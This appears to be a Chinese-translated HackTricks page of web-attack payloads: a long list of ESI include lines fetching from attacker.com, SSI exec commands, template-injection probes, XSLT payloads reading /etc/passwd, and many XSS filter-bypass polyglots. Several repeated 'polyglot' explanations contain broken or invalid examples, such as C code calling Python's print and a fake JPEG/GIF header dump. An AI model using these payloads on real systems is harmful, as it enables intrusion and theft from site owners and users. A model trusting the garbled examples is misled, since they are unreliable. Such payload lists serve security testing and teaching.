<esi:include src="http://attacker.com/malicious.mdb" />
<esi:include src="http://attacker.com/malicious.accdb" />
<esi:include src="http://attacker.com/malicious.bak" />
<esi:include src="http://attacker.com/malicious.backup" />
<esi:include src="http://attacker.com/malicious.log" />
<esi:include src="http://attacker.com/malicious.txt" />
<esi:include src="http://attacker.com/malicious.doc" />
<esi:include src="http://attacker.com/malicious.docx" />
<esi:include src="http://attacker.com/malicious.xls" />
<esi:include src="http://attacker.com/malicious.xlsx" />
<esi:include src="http://attacker.com/malicious.ppt" />
<esi:include src="http://attacker.com/malicious.pptx" />
<esi:include src="http://attacker.com/malicious.pdf" />
<esi:include src="http://attacker.com/malicious.swf" />
<esi:include src="http://attacker.com/malicious.flv" />
<esi:include src="http://attacker.com/malicious.mp3" />
<esi:include src="http://attacker.com/malicious.wav" />
<esi:include src="http://attacker.com/malicious.avi" />
<esi:include src="http://attacker.com/malicious.mp4" />
<esi:include src="http://attacker.com/malicious.mpeg" />
<esi:include src="http://attacker.com/malicious.mov" />
<esi:include src="http://attacker.com/malicious.mkv" />
<esi:include src="http://attacker.com/malicious.3gp" />
<esi:include src="http://attacker.com/malicious.ogv" />
<esi:include src="http://attacker.com/malicious.ogg" />
<esi:include src="http://attacker.com/malicious.webm" />
<esi:include src="http://attacker.com/malicious.bmp" />
<esi:include src="http://attacker.com/malicious.gif" />
<esi:include src="http://attacker.com/malicious.jpg" />
<esi:include src="http://attacker.com/malicious.jpeg" />
<esi:include src="http://attacker.com/malicious.png" />
<esi:include src="http://attacker.com/malicious.svg" />
<esi:include src="http://attacker.com/malicious.ico" />
<esi:include src="http://attacker.com/malicious.ttf" />
<esi:include src="http://attacker.com/malicious.otf" />
<esi:include src="http://attacker.com/malicious.eot" />
<esi:include src="http://attacker.com/malicious.woff" />
<esi:include src="http://attacker.com/malicious.woff2" />
<esi:include src="http://attacker.com/malicious.svgz" />
<esi:include src="http://attacker.com/malicious.ics" />
<esi:include src="http://attacker.com/malicious.vcf" />
<esi:include src="http://attacker.com/malicious.xml" />
<esi:include src="http://attacker.com/malicious.json" />
<esi:include src="http://attacker.com/malicious.rss" />
<esi:include src="http://attacker.com/malicious.atom" />
<esi:include src="http://attacker.com/malicious.rdf" />
<esi:include src="http://attacker.com/malicious.wsdl" />
<esi:include src="http://attacker.com/malicious.xsd" />
<esi:include src="http://attacker.com/malicious.wsdd" />
<esi:include src="http://attacker.com/malicious.wsdl" />
<esi:include src="http://attacker.com/malicious.wsil" />
<esi:include src="http://attacker.com/malicious.wspolicy" />
<esi:include src="http://attacker.com/malicious.wadl" />
<esi:include src="http://attacker.com/malicious.xpi" />
<esi:include src="http://attacker.com/malicious.crx" />
<esi:include src="http://attacker.com/malicious.xap" />
<esi:include src="http://attacker.com/malicious.xar" />
<esi:include src="http://attacker.com/malicious.apk" />
<esi:include src="http://attacker.com/malicious.ipa" />
<esi:include src="http://attacker.com/malicious.app" />
<esi:include src="http://attacker.com/malicious.jar" />
<esi:include src="http://attacker.com/malicious.jad" />
<esi:include src="http://attacker.com/malicious.cod" />
<esi:include src="http://attacker.com/malicious.jnlp" />
<esi:include src="http://attacker.com/malicious.wml" />
<esi:include src="http://attacker.com/malicious.wmls" />
<esi:include src="http://attacker.com/malicious.wbmp" />
<esi:include src="http://attacker.com/malicious.wbxml" />
<esi:include src="http://attacker.com/malicious.wmlc" />
<esi:include src="http://attacker.com/malicious.wmlsc" />
<esi:include src="http://attacker.com/malicious.wmlscript" />
<esi:include src="http://attacker.com/malicious.wmlscriptc" />
<esi:include src="http://attacker.com/malicious.htc" />
<esi:include src="http://attacker.com/malicious.mml" />
<esi:include src="http://attacker.com/malicious.rdf" />
<esi:include src="http://attacker.com/malicious.xht" />
<esi:include src="http://attacker.com/malicious.xhtm" />
<esi:include src="http://attacker.com/malicious.xhtml" />
<esi:include src="http://attacker.com/malicious.xsl" />
<esi:include src="http://attacker.com/malicious.xslt" />
<esi:include src="http://attacker.com/malicious.xml" />
<esi:include src="http://attacker.com/malicious.css" />
<esi:include src="http://attacker.com/malicious.txt" />
<esi:include src="http://attacker.com/malicious.json" />
<esi:include src="http://attacker.com/malicious.svg" />
<esi:include src="http://attacker.com/malicious.png" />
<esi:include src="http://attacker.com/malicious.gif" />
<esi:include src="http://attacker.com/malicious.jpg" />
<esi:include src="http://attacker.com/malicious.bmp" />
<esi:include src="http://attacker.com/malicious.ico" />
<esi:include src="http://attacker.com/malicious.js" />
<esi:include src="http://attacker.com/malicious.php" />
<esi:include src="http://attacker.com/malicious.html" />
<esi:include src="http://attacker.com/malicious.xml" />
<esi:include src="http://attacker.com/malicious.xslt" />
<esi:include src="http://attacker.com/malicious.xsl" />
<esi:include src="http://attacker.com/malicious.dtd" />
<esi:include src="http://attacker.com/malicious.ent" />
<esi:include src="http://attacker.com/malicious.xhtml" />
<esi:include src="http://attacker.com/malicious.xhtm" />
<esi:include src="http://attacker.com/malicious.xht" />
<esi:include src="http://attacker.com/malicious.html" />
<esi:include src="http://attacker.com/malicious.htm" />
<esi:include src="http://attacker.com/malicious.shtml" />
<esi:include src="http://attacker.com/malicious.shtm" />
<esi:include src="http://attacker.com/malicious.sht" />
<esi:include src="http://attacker.com/malicious.asp" />
<esi:include src="http://attacker.com/malicious.aspx" />
<esi:include src="http://attacker.com/malicious.php" />
<esi:include src="http://attacker.com/malicious.jsp" />
<esi:include src="http://attacker.com/malicious.jsf" />
<esi:include src="http://attacker.com/malicious.cfm" />
<esi:include src="http://attacker.com/malicious.cfml" />
<esi:include src="http://attacker.com/malicious.cfc" />
<esi:include src="http://attacker.com/malicious.pl" />
<esi:include src="http://attacker.com/malicious.cgi" />
```markup
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
多语言
Polyglot（多语言）是指一种文件或程序，可以被解释为多种不同的语言。在网络渗透测试中，多语言文件可以用于绕过安全措施，欺骗系统或执行恶意操作。以下是一些常见的多语言技术和示例。
1. Polyglot文件
Polyglot文件是一种可以被解释为多种语言的文件。这些文件通常具有多个文件扩展名，以便在不同的环境中被解释为不同的语言。例如，一个文件可以同时被解释为HTML和JavaScript。
以下是一个HTML和JavaScript的Polyglot文件示例：
<!-- HTML comment -->
<script>
// JavaScript code
alert("Hello, World!");
</script>
2. Polyglot图片
Polyglot图片是一种可以被解释为多种文件类型的图片。这些图片通常具有多个文件头，以便在不同的环境中被解释为不同的文件类型。例如，一个图片可以同时被解释为JPEG和GIF。
以下是一个JPEG和GIF的Polyglot图片示例：
FF D8 FF E0 00 10 4A 46 49 46 00 01 // JPEG header
47 49 46 38 39 61 01 00 01 00 80 00 // GIF header
00 FF FF FF FF FF FF 21 F9 04 01 00
00 00 2C 00 00 00 00 01 00 01 00 00 02
02 4C 01 00 3B // GIF trailer
3. Polyglot注释
Polyglot注释是一种可以被解释为多种语言的注释。这些注释通常具有多个语言的语法，以便在不同的环境中被解释为不同的语言。例如，一个注释可以同时被解释为C和Python。
以下是一个C和Python的Polyglot注释示例：
/* C comment */
#include <stdio.h>
int main() {
// Python code
print("Hello, World!");
return 0;
}
4. Polyglot URL
Polyglot URL是一种可以被解释为多种语言的URL。这些URL通常具有多个编码格式，以便在不同的环境中被解释为不同的语言。例如，一个URL可以同时被解释为ASCII和Unicode。
以下是一个ASCII和Unicode的Polyglot URL示例：
http://example.com/%u0065%u0078%u0061%u006d%u0070%u006c%u0065 // Unicode
http://example.com/execute // ASCII
5. Polyglot命令
Polyglot命令是一种可以被解释为多种语言的命令。这些命令通常具有多个语言的语法，以便在不同的环境中被解释为不同的语言。例如，一个命令可以同时被解释为Bash和PowerShell。
以下是一个Bash和PowerShell的Polyglot命令示例：
# Bash code
echo "Hello, World!"
# PowerShell code
Write-Host "Hello, World!"
Polyglot技术可以帮助渗透测试人员绕过安全措施，欺骗系统或执行恶意操作。了解和使用Polyglot技术可以提高渗透测试的效果和成功率。
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
服务器端请求伪造
可以使用与开放重定向相同的测试方法。
服务器端模板注入
基本测试
${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
多语言
Polyglot（多语言）是指一种文件或程序，可以被解释为多种不同的语言，具体取决于上下文。在网络渗透测试中，多语言文件可以用于绕过安全机制，欺骗系统或执行恶意操作。
多语言文件的特点
- 文件格式：多语言文件通常是特定格式的文件，例如HTML、XML、JSON、PDF等。
- 语言注释：多语言文件中的注释可以用于指定文件的语言类型。
- 语言特定代码：多语言文件中的代码可以根据不同的语言解释器进行解释。
多语言文件的应用
- 绕过安全机制：通过创建一个多语言文件，可以绕过某些安全机制，因为不同的解释器可能会对文件进行不同的处理。
- 欺骗系统：多语言文件可以被解释为合法的文件类型，从而欺骗系统，绕过文件类型检测。
- 执行恶意操作：通过利用多语言文件的特性，可以执行恶意操作，例如执行命令、读取敏感文件等。
多语言文件的示例
以下是一些常见的多语言文件示例：
- Polyglot HTML/JavaScript：这种文件可以同时被解释为HTML和JavaScript代码，可以用于绕过XSS过滤器。
- Polyglot XML/XXE：这种文件可以同时被解释为XML和XXE（XML外部实体）代码，可以用于执行XXE攻击。
- Polyglot JSON/JavaScript：这种文件可以同时被解释为JSON和JavaScript代码，可以用于绕过JSON解析器的限制。
多语言文件的创建
创建多语言文件需要深入了解不同语言的语法和特性。以下是一些常见的创建多语言文件的技巧：
- 注释技巧：使用不同语言的注释语法来指定文件的语言类型。
- 语法技巧：利用不同语言的语法特性来创建多语言文件。
- 编码技巧：使用不同的字符编码来创建多语言文件。
多语言文件的检测
检测多语言文件可以使用以下方法：
- 文件分析：通过分析文件的内容和结构来确定其是否是多语言文件。
- 语言识别：使用语言识别工具来确定文件的语言类型。
- 解释器测试：使用不同的解释器来解释文件，并观察其行为。
多语言文件的防御
为了防止多语言文件的滥用，可以采取以下防御措施：
- 文件过滤：实施严格的文件类型过滤，阻止不受信任的文件类型上传和执行。
- 输入验证：对用户输入进行严格的验证和过滤，以防止恶意输入。
- 安全配置：配置系统和应用程序的安全设置，以减少多语言文件的风险。
- 敏感数据保护：确保敏感数据不会被多语言文件访问或泄露。
多语言文件的资源
以下是一些有用的资源，可以帮助您了解和利用多语言文件的潜力：
- Polyglot Files：一个开源项目，提供了各种多语言文件的示例和技巧。
- Polyglot Challenges：一个开源项目，提供了一系列多语言文件挑战，用于测试和提高您的技能。
多语言文件的注意事项
在使用多语言文件时，请注意以下事项：
- 合法性：确保您使用的多语言文件是合法的，并且不会违反任何法律或道德规范。
- 风险评估：在使用多语言文件时，评估潜在的风险，并采取适当的安全措施。
- 合规性：遵循适用的法律和规定，确保您的行为合规。
多语言文件的未来
随着技术的不断发展，多语言文件的概念和应用将继续演变。了解多语言文件的原理和技术将帮助您在网络渗透测试中更加灵活和创新地应对各种安全挑战。
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
XSLT 服务器端注入
基本测试
Description
XSLT (Extensible Stylesheet Language Transformations) is a language used for transforming XML documents into other formats, such as HTML or plain text. XSLT Server Side Injection occurs when an attacker is able to inject malicious code into an XSLT stylesheet, which is then executed on the server.
概述
XSLT（可扩展样式表语言转换）是一种用于将 XML 文档转换为其他格式（如 HTML 或纯文本）的语言。当攻击者能够将恶意代码注入到 XSLT 样式表中，并在服务器上执行时，就会发生 XSLT 服务器端注入。
Exploitation
To test for XSLT Server Side Injection, you can try injecting code into the XSLT stylesheet and observe the server's response. Here are some basic tests you can perform:
Test 1: Simple Payload
Inject a simple payload into the XSLT stylesheet and check if it is executed by the server. For example:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="cmd" select="'whoami'" />
<xsl:value-of select="system-property($cmd)" />
</xsl:template>
</xsl:stylesheet>
If the server executes the whoami command and returns the output, it indicates a successful XSLT Server Side Injection.
Test 2: File Access
Inject code to read a file from the server's filesystem. For example:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="file" select="'/etc/passwd'" />
<xsl:value-of select="document($file)" />
</xsl:template>
</xsl:stylesheet>
If the server returns the contents of the /etc/passwd file, it indicates a successful XSLT Server Side Injection.
攻击方法
为了测试 XSLT 服务器端注入，您可以尝试将代码注入到 XSLT 样式表中，并观察服务器的响应。以下是一些基本测试：
测试 1：简单的 Payload
将简单的 Payload 注入到 XSLT 样式表中，并检查服务器是否执行它。例如：
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="cmd" select="'whoami'" />
<xsl:value-of select="system-property($cmd)" />
</xsl:template>
</xsl:stylesheet>
如果服务器执行 whoami 命令并返回输出，则表示成功进行了 XSLT 服务器端注入。
测试 2：文件访问
注入代码以从服务器的文件系统中读取文件。例如：
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="file" select="'/etc/passwd'" />
<xsl:value-of select="document($file)" />
</xsl:template>
</xsl:stylesheet>
如果服务器返回 /etc/passwd 文件的内容，则表示成功进行了 XSLT 服务器端注入。
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
多语言
Polyglot（多语言）是指一种文件或程序，可以被解释为多种不同的语言，而不会改变其原始功能。在网络渗透测试中，多语言文件可以用于绕过安全机制，欺骗系统或执行恶意操作。
多语言文件的特点
- 文件格式：多语言文件通常是特定文件格式的文件，例如HTML、XML、PDF、JPEG等。这些文件格式具有一定的灵活性，可以容纳多种语言的代码。
- 语言注释：多语言文件中的注释可以用于隐藏恶意代码，因为不同语言的注释符号不同，解释器会忽略其他语言的注释。
- 语言特性：多语言文件可以利用不同语言的特性和解释器的行为差异来实现多种功能。
多语言文件的应用
- 绕过安全机制：通过使用多语言文件，攻击者可以绕过安全机制，欺骗系统，执行未经授权的操作。
- 隐藏恶意代码：多语言文件可以隐藏恶意代码，使其在不同的解释器中看起来是合法的文件。
- 执行远程代码：通过利用多语言文件的特性，攻击者可以在目标系统上执行远程代码，从而获取对系统的控制权。
多语言文件的示例
以下是一些常见的多语言文件示例：
- Polyglot HTML/JavaScript：这种文件可以同时被解释为HTML和JavaScript代码，可以用于执行跨站脚本攻击（XSS）或其他恶意操作。
- Polyglot XML/JavaScript：这种文件可以同时被解释为XML和JavaScript代码，可以用于执行XXE（XML外部实体）攻击或其他恶意操作。
- Polyglot PDF/JavaScript：这种文件可以同时被解释为PDF和JavaScript代码，可以用于执行恶意操作或利用PDF阅读器的漏洞。
- Polyglot JPEG/JavaScript：这种文件可以同时被解释为JPEG和JavaScript代码，可以用于执行恶意操作或利用图像处理库的漏洞。
多语言文件的创建
创建多语言文件需要深入了解不同语言的语法和特性，以及目标系统的解释器行为。攻击者可以使用文本编辑器或特定的工具来创建多语言文件，并进行测试以确保其在不同的解释器中都能正常工作。
多语言文件的检测和防御
为了检测和防御多语言文件的攻击，可以采取以下措施：
- 文件验证：对上传的文件进行验证，确保其符合预期的文件格式和规范。
- 解释器配置：配置解释器以限制或禁止执行多语言文件。
- 安全补丁：及时应用安全补丁，以修复解释器或相关库的漏洞。
- 安全训练：对开发人员和系统管理员进行安全培训，提高对多语言文件攻击的意识和防御能力。
参考资料
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
XSS
基本测试
XSS（跨站脚本）是一种常见的网络安全漏洞，攻击者可以通过注入恶意脚本来攻击网站的用户。以下是一些基本的XSS测试方法：
1. 简单的HTML注入
尝试在输入字段中插入HTML标签，如<script>alert('XSS')</script>，并观察是否成功执行。
2. 图像注入
尝试在图像标签的src属性中插入JavaScript代码，如<img src="javascript:alert('XSS')">，并检查是否触发了弹窗。
3. 链接注入
尝试在链接的URL中插入JavaScript代码，如<a href="javascript:alert('XSS')">点击我</a>，并验证是否成功执行。
4. 事件注入
尝试在事件处理程序中插入JavaScript代码，如<button onclick="alert('XSS')">点击我</button>，并检查是否触发了弹窗。
5. 输入字段注入
尝试在输入字段中插入JavaScript代码，如<input type="text" value="javascript:alert('XSS')">，并观察是否成功执行。
6. 脚本标签注入
尝试在脚本标签中插入JavaScript代码，如<script>alert('XSS')</script>，并验证是否触发了弹窗。
7. 注释标签注入
尝试在注释标签中插入JavaScript代码，如<!-- <script>alert('XSS')</script> -->，并检查是否成功执行。
8. CSS注入
尝试在CSS样式属性中插入JavaScript代码，如<div style="background-image: url('javascript:alert('XSS')')">，并观察是否触发了弹窗。
9. SVG注入
尝试在SVG标签中插入JavaScript代码，如<svg onload="alert('XSS')">，并验证是否成功执行。
10. 事件处理程序注入
尝试在事件处理程序中插入JavaScript代码，如<div onmouseover="alert('XSS')">，并检查是否触发了弹窗。
这些基本的XSS测试方法可以帮助您识别和验证网站中的XSS漏洞。请记住，在进行任何测试之前，始终获得合法的授权。
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
多语言
Polyglot（多语言）是指一种文件或程序，可以被解释为多种不同的语言。在网络渗透测试中，多语言文件可以用于绕过安全措施，欺骗系统或执行恶意操作。以下是一些常见的多语言技术和示例。
1. Polyglot文件
Polyglot文件是一种可以被解释为多种语言的文件。这些文件通常具有多个文件扩展名，以便在不同的环境中被解释为不同的语言。例如，一个文件可以同时被解释为HTML和JavaScript。
以下是一个HTML和JavaScript的Polyglot文件示例：
<html>
<head>
<script>
alert("This is a polyglot file!");
</script>
</head>
<body>
<h1>Hello, World!</h1>
</body>
</html>
2. Polyglot注释
Polyglot注释是一种可以被解释为多种语言的注释。这些注释通常包含特定语言的注释标记，以便在不同的环境中被解释为不同的语言。例如，一个注释可以同时被解释为C和JavaScript。
以下是一个C和JavaScript的Polyglot注释示例：
#include <stdio.h>
int main() {
// This is a polyglot comment!
printf("Hello, World!\n");
return 0;
}
3. Polyglot文件头
Polyglot文件头是一种可以被解释为多种语言的文件头。这些文件头通常包含特定语言的文件头标记，以便在不同的环境中被解释为不同的语言。例如，一个文件头可以同时被解释为Python和Bash。
以下是一个Python和Bash的Polyglot文件头示例：
#!/usr/bin/env python
# This is a polyglot file!
print("Hello, World!")
4. Polyglot文件扩展名
Polyglot文件扩展名是一种可以被解释为多种语言的文件扩展名。这些文件扩展名通常包含特定语言的文件扩展名标记，以便在不同的环境中被解释为不同的语言。例如，一个文件扩展名可以同时被解释为Ruby和Perl。
以下是一个Ruby和Perl的Polyglot文件扩展名示例：
#!/usr/bin/env ruby
# This is a polyglot file!
puts "Hello, World!"
5. Polyglot文件内容
Polyglot文件内容是一种可以被解释为多种语言的文件内容。这些文件内容通常包含特定语言的代码段，以便在不同的环境中被解释为不同的语言。例如，一个文件内容可以同时被解释为Java和PHP。
以下是一个Java和PHP的Polyglot文件内容示例：
public class HelloWorld {
// This is a polyglot file!
public static void main(String[] args) {
System.out.println("Hello, World!");
}
}
Polyglot技术可以在渗透测试中发挥重要作用，因为它们可以绕过安全措施，欺骗系统或执行恶意操作。了解和利用多语言文件的特性可以帮助渗透测试人员更好地理解和评估目标系统的安全性。
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">`
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=document.location=`//localhost/mH`//>
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗？想要在 HackTricks 中宣传你的公司吗？或者你想要获取最新版本的 PEASS 或下载 HackTricks 的 PDF吗？请查看订阅计划！
-
发现我们的独家 NFT 收藏品The PEASS Family
-
加入 💬 Discord 群组 或 Telegram 群组，或者在 Twitter 上关注我 🐦@carlospolopm。
-
通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。